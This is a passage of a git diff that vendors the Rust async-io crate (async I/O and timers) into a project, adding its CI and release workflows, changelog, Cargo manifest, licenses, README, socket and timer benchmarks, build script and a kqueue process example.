--target ${{ matrix.target }} + + cross: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, macos-latest] + rust: [nightly, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - name: Install cross + uses: taiki-e/install-action@cross + - name: Add rust-src + if: startsWith(matrix.rust, 'nightly') + run: rustup component add rust-src + # We don't test BSDs, since we already test them in Cirrus. + - name: Android + if: startsWith(matrix.os, 'ubuntu') + run: cross test --target arm-linux-androideabi + - name: iOS + if: startsWith(matrix.os, 'macos') + run: | + rustup target add aarch64-apple-ios + cross build --target aarch64-apple-ios + - name: Linux x32 + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-linux-gnux32 + cross check --target x86_64-unknown-linux-gnux32 + - name: Fuchsia + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-fuchsia + cargo build --target x86_64-unknown-fuchsia + - name: illumos + if: startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-illumos + cargo build --target x86_64-unknown-illumos + - name: Redox + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: | + rustup target add x86_64-unknown-redox + cargo check --target x86_64-unknown-redox + # TODO: + # - name: HermitOS + # if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + # run: cargo check -Z build-std --target x86_64-unknown-hermit + - name: Check haiku + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target x86_64-unknown-haiku + - name: Check vita + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target armv7-sony-vita-newlibeabihf + - name: Check ESP-IDF + if: startsWith(matrix.rust, 'nightly') && startsWith(matrix.os, 'ubuntu') + run: cargo check -Z build-std --target riscv32imc-esp-espidf + + wine: + runs-on: ubuntu-22.04 + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - uses: taiki-e/setup-cross-toolchain-action@v1 + with: + target: x86_64-pc-windows-gnu + - run: cargo test --target x86_64-pc-windows-gnu + + msrv: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest] + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --no-dev-deps --rust-version + - run: cargo hack build --no-dev-deps --rust-version --target x86_64-unknown-freebsd + if: startsWith(matrix.os, 'ubuntu') + - run: cargo hack build --no-dev-deps --rust-version --target x86_64-unknown-netbsd + if: startsWith(matrix.os, 'ubuntu') diff --git a/lib/malio/async-io/.github/workflows/release.yml b/lib/malio/async-io/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/async-io/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-io/.gitignore b/lib/malio/async-io/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/async-io/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/async-io/CHANGELOG.md b/lib/malio/async-io/CHANGELOG.md new file mode 100644 index 0000000..7c9561a --- /dev/null +++ b/lib/malio/async-io/CHANGELOG.md @@ -0,0 +1,291 @@ +# Version 2.6.0 + +- Bump MSRV to 1.71. (#243) +- Expose `Timer::clear`. (#239) +- Implement `IoSafe` for `std::io::PipeReader` and `std::io::PipeWriter` (#237) +- Update to `windows-sys` v0.61. (#243) +- Remove dependency on `async_lock`. (#240) + +# Version 2.5.0 + +- Add a new optional `tracing` feature. When enabled, this feature adds logging + to the implementation. By default it is disabled. (#234) +- Add support for Haiku (#233) +- Fix build failure with minimal-versions. (#234) +- Update `windows-sys` to v0.60. (#230) + +# Version 2.4.1 + +- Update to rustix version 1.0.7. (#221) + +# Version 2.4.0 + +- Make it so the `Exit` filter can be created without passing ownership of the + `Child` object. (#207) +- Add support for visionOS. (#202) +- Fix typo in documentation. (#204) + +# Version 2.3.4 + +- Update `windows-sys` to v0.59. (#195) +- On NetBSD/DragonflyBSD, set `nosigpipe` on sockets. (#196) + +# Version 2.3.3 + +- Fix nightly clippy warnings. (#191) + +# Version 2.3.2 + +- Fix usage of the wrong socket flags on AIX. (#187) + +# Version 2.3.1 + +- On Windows, call `WSAStartup` before any raw socket functions. (#183) + +# Version 2.3.0 + +- Add `Waitable`, which allows waiting for waitable handles on + Windows. (#152) + +# Version 2.2.2 + +- Fix an `EINVAL` error that would occur when abstract sockets are used. (#176) + +# Version 2.2.1 + +- Remove dependency on `waker-fn`. (#165) +- Update `windows-sys` to v0.52.0. (#173) + +# Version 2.2.0 + +- Bump `async-lock` and `futures-lite` to their latest version. (#170) + +# Version 2.1.0 + +- Implement `IoSafe` for `std::process::{ChildStdin, ChildStdout, ChildStderr}`. (#162) + +# Version 2.0.0 + +- **Breaking:** `Async::new()` now takes types that implement `AsFd`/`AsSocket` instead of `AsRawFd`/`AsRawSocket`, in order to implement I/O safety. (#142) +- **Breaking:** `Async::get_mut()`, `Async::read_with_mut()` and `Async::write_with_mut()` are now `unsafe`. The underlying source is technically "borrowed" by the polling instance, so moving it out would be unsound. (#142) +- Expose miscellaneous `kqueue` filters in the `os::kqueue` module. (#112) +- Expose a way to get the underlying `Poller`'s file descriptor on Unix. (#125) +- Add a new `Async::new_nonblocking` method to allow users to avoid duplicating an already nonblocking socket. (#159) +- Remove the unused `fastrand` and `memchr` dependencies. (#131) +- Use `tracing` instead of `log`. (#140) +- Support ESP-IDF. (#144) +- Optimize the `block_on` function to reduce allocation, leading to a slight performance improvement. (#149) + +# Version 1.13.0 + +- Use [`rustix`] instead of [`libc`]/[`windows-sys`] for system calls (#76) +- Add a `will_fire` method to `Timer` to test if it will ever fire (#106) +- Reduce syscalls in `Async::new` (#107) +- Improve the drop ergonomics of `Readable` and `Writable` (#109) +- Change the "`wepoll`" in documentation to "`IOCP`" (#116) + +[`rustix`]: https://crates.io/crates/rustix/ +[`libc`]: https://crates.io/crates/libc/ +[`windows-sys`]: https://crates.io/crates/windows-sys/ + +# Version 1.12.0 + +- Switch from `winapi` to `windows-sys` (#102) + +# Version 1.11.0 + +- Update `concurrent-queue` to v2. (#99) + +# Version 1.10.0 + +- Remove the dependency on the `once_cell` crate to restore the MSRV. (#95) + +# Version 1.9.0 + +- Fix panic on very large durations. (#87) +- Add `Timer::never` (#87) + +# Version 1.8.0 + +- Implement I/O safety traits on Rust 1.63+ (#84) + +# Version 1.7.0 + +- Process timers set for exactly `now`. (#73) + +# Version 1.6.0 + +- Add `Readable` and `Writable` futures. (#64, #66) +- Add `Async::{readable_owned, writable_owned}`. (#66) + +# Version 1.5.0 [YANKED] + +- Add `Readable` and `Writable` futures. (#64) + +# Version 1.4.1 + +- Remove dependency on deprecated `vec-arena`. (#60) + +# Version 1.4.0 + +- Implement `AsRef` and `AsMut` for `Async`. (#44) +- Remove dependency on deprecated `nb-connect`. (#55) + +# Version 1.3.1 + +- Lower MSRV to 1.41.0 + +# Version 1.3.0 + +- Add `Timer::interval()` and `Timer::set_interval()`. +- Add `Timer::interval_at()` and `Timer::set_interval_at()`. +- Implement `Stream` for `Timer`. + +# Version 1.2.0 + +- Add `Async::poll_readable()` and `Async::poll_writable()`. + +# Version 1.1.10 + +- Update `futures-lite`. + +# Version 1.1.9 + +- Only require `libc` on Unix platforms. + +# Version 1.1.8 + +- Re-enable `async-net` dependency and fix CI. + +# Version 1.1.7 + +- Update `polling` to v2.0.0 + +# Version 1.1.6 + +- Remove randomized yielding everywhere. + +# Version 1.1.5 + +- Remove randomized yielding in write operations. + +# Version 1.1.4 + +- Implement proper cancelation for `readable()` and `writable()`. + +# Version 1.1.3 + +- Improve docs. + +# Version 1.1.2 + +- Add `nb-connect` dependency. +- Remove `wepoll-sys-stjepang` dependency. + +# Version 1.1.1 + +- Remove `socket2` dependency. + +# Version 1.1.0 + +- Add `TryFrom` conversion impls for `Async`. + +# Version 1.0.2 + +- Don't box `T` in `Async`. +- `Async::incoming()` doesn't return `Unpin` streams anymore. + +# Version 1.0.1 + +- Update dependencies. + +# Version 1.0.0 + +- Stabilize. + +# Version 0.2.7 + +- Replace `log::debug!` with `log::trace!`. + +# Version 0.2.6 + +- Add logging. + +# Version 0.2.5 + +- On Linux, fail fast if `writable()` succeeds after connecting to `UnixStream`, + but the connection is not really established. + +# Version 0.2.4 + +- Prevent threads in `async_io::block_on()` from hogging the reactor forever. + +# Version 0.2.3 + +- Performance optimizations in `block_on()`. + +# Version 0.2.2 + +- Add probabilistic yielding to improve fairness. + +# Version 0.2.1 + +- Update readme. + +# Version 0.2.0 + +- Replace `parking` module with `block_on()`. +- Fix a bug in `Async::::connect()`. + +# Version 0.1.11 + +- Bug fix: clear events list before polling. + +# Version 0.1.10 + +- Simpler implementation of the `parking` module. +- Extracted raw bindings to epoll/kqueue/wepoll into the `polling` crate. + +# Version 0.1.9 + +- Update dependencies. +- More documentation. + +# Version 0.1.8 + +- Tweak the async-io to poll I/O less aggressively. + +# Version 0.1.7 + +- Tweak the async-io thread to use less CPU. +- More examples. + +# Version 0.1.6 + +- Add `Timer::reset()`. +- Add third party licenses. +- Code cleanup. + +# Version 0.1.5 + +- Make `Parker` and `Unparker` unwind-safe. + +# Version 0.1.4 + +- Initialize the reactor in `Parker::new()`. + +# Version 0.1.3 + +- Always use the last waker given to `Timer`. +- Shutdown the socket in `AsyncWrite::poll_close()`. +- Reduce the number of dependencies. + +# Version 0.1.2 + +- Shutdown the write side of the socket in `AsyncWrite::poll_close()`. +- Code and dependency cleanup. +- Always use the last waker when polling a timer. + +# Version 0.1.1 + +- Initial version diff --git a/lib/malio/async-io/Cargo.toml b/lib/malio/async-io/Cargo.toml new file mode 100644 index 0000000..d25583c --- /dev/null +++ b/lib/malio/async-io/Cargo.toml @@ -0,0 +1,62 @@ +[package] +name = "async-io" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v2.x.y" git tag +version = "2.5.0" +authors = ["Stjepan Glavina "] +edition = "2021" +rust-version = "1.71" +description = "Async I/O and timers" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-io" +keywords = ["mio", "epoll", "kqueue", "iocp"] +categories = ["asynchronous", "network-programming", "os"] +exclude = ["/.*"] + +[lints.rust] +unexpected_cfgs = { level = "warn", check-cfg = ['cfg(polling_test_poll_backend)', 'cfg(async_io_no_pipe)' ] } + +[[bench]] +name = "io" +harness = false + +[[bench]] +name = "timer" +harness = false + +[dependencies] +cfg-if = "1" +concurrent-queue = "2.2.0" +futures-io = { version = "0.3.28", default-features = false, features = ["std"] } +futures-lite = { version = "2.0.0", default-features = false } +parking = "2.0.0" +polling = "3.4.0" +rustix = { version = "1.0.7", default-features = false, features = ["fs", "net", "std"] } +slab = "0.4.2" +tracing = { version = "0.1.37", default-features = false, optional = true } + +[target.'cfg(windows)'.dependencies] +windows-sys = { version = "0.61", features = ["Win32_Foundation"] } + +[build-dependencies] +autocfg = "1" + +[dev-dependencies] +async-channel = "2.0.0" +async-net = "2.0.0" +blocking = "1" +criterion = { version = "0.7", default-features = false, features = ["cargo_bench_support"] } +getrandom = "0.3" +signal-hook = "0.3" +tempfile = "3" + +[target.'cfg(target_os = "linux")'.dev-dependencies] +inotify = { version = "0.11.0", default-features = false } +timerfd = "1" + +[target.'cfg(windows)'.dev-dependencies] +uds_windows = "1" + +[patch.crates-io] +async-io = { path = "." } diff --git a/lib/malio/async-io/LICENSE-APACHE b/lib/malio/async-io/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-io/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-io/LICENSE-MIT b/lib/malio/async-io/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-io/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-io/README.md b/lib/malio/async-io/README.md new file mode 100644 index 0000000..9079b0b --- /dev/null +++ b/lib/malio/async-io/README.md @@ -0,0 +1,78 @@ +# async-io + +[![Build](https://github.com/smol-rs/async-io/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-io/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-io) +[![Cargo](https://img.shields.io/crates/v/async-io.svg)]( +https://crates.io/crates/async-io) +[![Documentation](https://docs.rs/async-io/badge.svg)]( +https://docs.rs/async-io) + +Async I/O and timers. + +This crate provides two tools: + +* `Async`, an adapter for standard networking types (and [many other] types) to use in + async programs. +* `Timer`, a future that expires at a point in time. + +For concrete async networking types built on top of this crate, see [`async-net`]. + +[many other]: https://github.com/smol-rs/async-io/tree/master/examples +[`async-net`]: https://docs.rs/async-net + +## Implementation + +The first time `Async` or `Timer` is used, a thread named "async-io" will be spawned. +The purpose of this thread is to wait for I/O events reported by the operating system, and then +wake appropriate futures blocked on I/O or timers when they can be resumed. + +To wait for the next I/O event, the "async-io" thread uses [epoll] on Linux/Android/illumos, +[kqueue] on macOS/iOS/BSD, [event ports] on illumos/Solaris, and [IOCP] on Windows. That +functionality is provided by the [`polling`] crate. + +However, note that you can also process I/O events and wake futures on any thread using the +`block_on()` function. The "async-io" thread is therefore just a fallback mechanism +processing I/O events in case no other threads are. + +[epoll]: https://en.wikipedia.org/wiki/Epoll +[kqueue]: https://en.wikipedia.org/wiki/Kqueue +[event ports]: https://illumos.org/man/port_create +[IOCP]: https://learn.microsoft.com/en-us/windows/win32/fileio/i-o-completion-ports +[`polling`]: https://docs.rs/polling + +## Examples + +Connect to `example.com:80`, or time out after 10 seconds. + +```rust +use async_io::{Async, Timer}; +use futures_lite::{future::FutureExt, io}; + +use std::net::{TcpStream, ToSocketAddrs}; +use std::time::Duration; + +let addr = "example.com:80".to_socket_addrs()?.next().unwrap(); + +let stream = Async::::connect(addr).or(async { + Timer::after(Duration::from_secs(10)).await; + Err(io::ErrorKind::TimedOut.into()) +}) +.await?; +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-io/benches/io.rs b/lib/malio/async-io/benches/io.rs new file mode 100644 index 0000000..1d6e55f --- /dev/null +++ b/lib/malio/async-io/benches/io.rs @@ -0,0 +1,171 @@ +//! Benchmarks for a variety of I/O operations. + +#![allow(clippy::incompatible_msrv)] // false positive: https://github.com/rust-lang/rust-clippy/issues/12257#issuecomment-2093667187 + +use async_io::Async; +use criterion::{criterion_group, criterion_main, Criterion}; +use futures_lite::{future, prelude::*}; +use std::hint::black_box; +use std::net::{Ipv4Addr, SocketAddr, TcpListener, TcpStream, UdpSocket}; + +/// Block on a future, either using the I/O driver or simple parking. +fn block_on(fut: impl Future, drive: bool) -> R { + if drive { + async_io::block_on(fut) + } else { + future::block_on(fut) + } +} + +fn read_and_write(b: &mut Criterion) { + const TCP_AMOUNT: usize = 1024 * 1024; + + let mut group = b.benchmark_group("read_and_write"); + + for (driver_name, exec) in [("Undriven", false), ("Driven", true)] { + // Benchmark the TCP streams. + let init_reader_writer = || { + let listener = TcpListener::bind("localhost:12345").unwrap(); + let read_stream = TcpStream::connect("localhost:12345").unwrap(); + let (write_stream, _) = listener.accept().unwrap(); + + let reader = Async::new(read_stream).unwrap(); + let writer = Async::new(write_stream).unwrap(); + + (listener, reader, writer) + }; + + group.bench_function(format!("TcpStream.{driver_name}"), move |b| { + let (_listener, mut reader, mut writer) = init_reader_writer(); + let mut buf = vec![0x42; TCP_AMOUNT]; + + b.iter(|| { + let buf = &mut buf; + + block_on( + async { + black_box(writer.write_all(&*buf).await.ok()); + black_box(reader.read_exact(buf).await.ok()); + }, + exec, + ); + }); + }); + + #[cfg(unix)] + { + // Benchmark the Unix sockets. + use std::os::unix::net::UnixStream; + const UNIX_AMOUNT: usize = 1024; + + group.bench_function(format!("UnixStream.{driver_name}"), |b| { + let (mut reader, mut writer) = Async::::pair().unwrap(); + let mut buf = vec![0x42; UNIX_AMOUNT]; + + b.iter(|| { + let buf = &mut buf; + block_on( + async { + black_box(writer.write_all(&*buf).await.ok()); + black_box(reader.read_exact(buf).await.ok()); + }, + exec, + ); + }); + }); + } + } +} + +fn connect_and_accept(c: &mut Criterion) { + let mut group = c.benchmark_group("connect_and_accept"); + + for (driver_name, exec) in [("Undriven", false), ("Driven", true)] { + // Benchmark the TCP streams. + group.bench_function(format!("TcpStream.{driver_name}"), move |b| { + let socket_addr = + SocketAddr::new("127.0.0.1".parse::().unwrap().into(), 12345); + let listener = Async::::bind(socket_addr).unwrap(); + + b.iter(|| { + block_on( + async { + let _reader = Async::::connect(socket_addr).await.ok(); + black_box(listener.accept().await.ok()); + drop(black_box(_reader)); + }, + exec, + ); + }); + }); + + #[cfg(unix)] + { + // Benchmark the Unix sockets. + use std::os::unix::net::{UnixListener, UnixStream}; + + let mut id = [0u8; 8]; + getrandom::fill(&mut id).unwrap(); + let id = u64::from_ne_bytes(id); + + let socket_addr = format!("/tmp/async-io-bench-{id}.sock"); + let listener = Async::::bind(&socket_addr).unwrap(); + + group.bench_function(format!("UnixStream.{driver_name}"), |b| { + b.iter(|| { + block_on( + async { + let _reader = Async::::connect(&socket_addr).await.ok(); + black_box(listener.accept().await.ok()); + drop(black_box(_reader)); + }, + exec, + ); + }); + }); + + drop(listener); + } + } +} + +fn udp_send_recv(c: &mut Criterion) { + const UDP_AMOUNT: usize = 1024; + + let mut group = c.benchmark_group("udp_send_recv"); + + // Create a pair of UDP sockets. + let socket_addr = |port| SocketAddr::new("127.0.0.1".parse::().unwrap().into(), port); + let socket_addr1 = socket_addr(12345); + let socket_addr2 = socket_addr(12346); + + let reader = Async::::bind(socket_addr1).unwrap(); + let writer = Async::::bind(socket_addr2).unwrap(); + + let mut buf = vec![0x42; UDP_AMOUNT]; + + for (driver_name, exec) in [("Undriven", false), ("Driven", true)] { + group.bench_function(format!("UdpSocket.{driver_name}"), |b| { + b.iter(|| { + let buf = &mut buf; + + block_on( + async { + black_box(writer.send_to(&*buf, socket_addr1).await.ok()); + black_box(reader.recv_from(buf).await.ok()); + }, + exec, + ); + }); + }); + } +} + +criterion_group! { + io_benchmarks, + read_and_write, + connect_and_accept, + udp_send_recv +} + +criterion_main!(io_benchmarks); diff --git a/lib/malio/async-io/benches/timer.rs b/lib/malio/async-io/benches/timer.rs new file mode 100644 index 0000000..27e51d6 --- /dev/null +++ b/lib/malio/async-io/benches/timer.rs @@ -0,0 +1,42 @@ +//! Benchmarks for registering timers. + +#![allow(clippy::incompatible_msrv)] // false positive: https://github.com/rust-lang/rust-clippy/issues/12257#issuecomment-2093667187 + +use async_io::Timer; +use criterion::{criterion_group, criterion_main, Criterion}; +use futures_lite::future; +use std::hint::black_box; +use std::time::Duration; + +/// Create a new `Timer` and poll it once to register it into the timer wheel. +fn make_timer() -> Timer { + let mut timer = Timer::after(Duration::from_secs(1)); + future::block_on(future::poll_once(&mut timer)); + timer +} + +/// Benchmark the time it takes to register and deregister a timer. +fn register_timer(c: &mut Criterion) { + let mut group = c.benchmark_group("register_timer"); + for prev_timer_count in [0, 1_000_000] { + // Add timers to the timer wheel. + let mut timers = Vec::new(); + for _ in 0..prev_timer_count { + timers.push(make_timer()); + } + + // Benchmark registering a timer. + group.bench_function( + format!("register_timer.({prev_timer_count} previous timers)"), + |b| { + b.iter(|| { + let timer = make_timer(); + black_box(timer); + }); + }, + ); + } +} + +criterion_group!(benches, register_timer); +criterion_main!(benches); diff --git a/lib/malio/async-io/build.rs b/lib/malio/async-io/build.rs new file mode 100644 index 0000000..abb2cc7 --- /dev/null +++ b/lib/malio/async-io/build.rs @@ -0,0 +1,16 @@ +fn main() { + let cfg = match autocfg::AutoCfg::new() { + Ok(cfg) => cfg, + Err(e) => { + println!("cargo:warning=async-io: failed to detect compiler features: {e}"); + return; + } + }; + + // We use "no_*" instead of "has_*" here. For (non-Cargo) build processes + // that don't run build.rs, the negated version gives us a recent + // feature-set by default. + if !cfg.probe_rustc_version(1, 87) { + autocfg::emit("async_io_no_pipe"); + } +} diff --git a/lib/malio/async-io/examples/kqueue-process.rs b/lib/malio/async-io/examples/kqueue-process.rs new file mode 100644 index 0000000..9cdae1c --- /dev/null +++ b/lib/malio/async-io/examples/kqueue-process.rs @@ -0,0 +1,48 @@ +//! Uses the `async_io::os::kqueue` module to wait for a process to terminate. +//! +//! Run with: +//! +//! ``` +//! cargo run --example kqueue-process +//! ``` + +#[cfg(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", +))] +fn main() -> std::io::Result<()> { + use std::process::Command; + + use async_io::os::kqueue::{Exit, Filter}; + use futures_lite::future; + + future::block_on(async { + // Spawn a process. + let process = Command::new("sleep") + .arg("3") + .spawn() + .expect("failed to spawn process"); + + // Wrap the process in an `Async` object that waits for it to exit. + let process = Filter::new(Exit::new(process))?; + + // Wait for the process to exit. + process.ready().await?; + + Ok(()) + }) +} + +#[cfg(not(any( + target_vendor = "apple", + target_os = "freebsd", + target_os = "netbsd", + target_os = "openbsd", + target_os = "dragonfly", +)))] +fn main() { + println!("This example only works for kqueue-enabled platforms."); +} diff --git 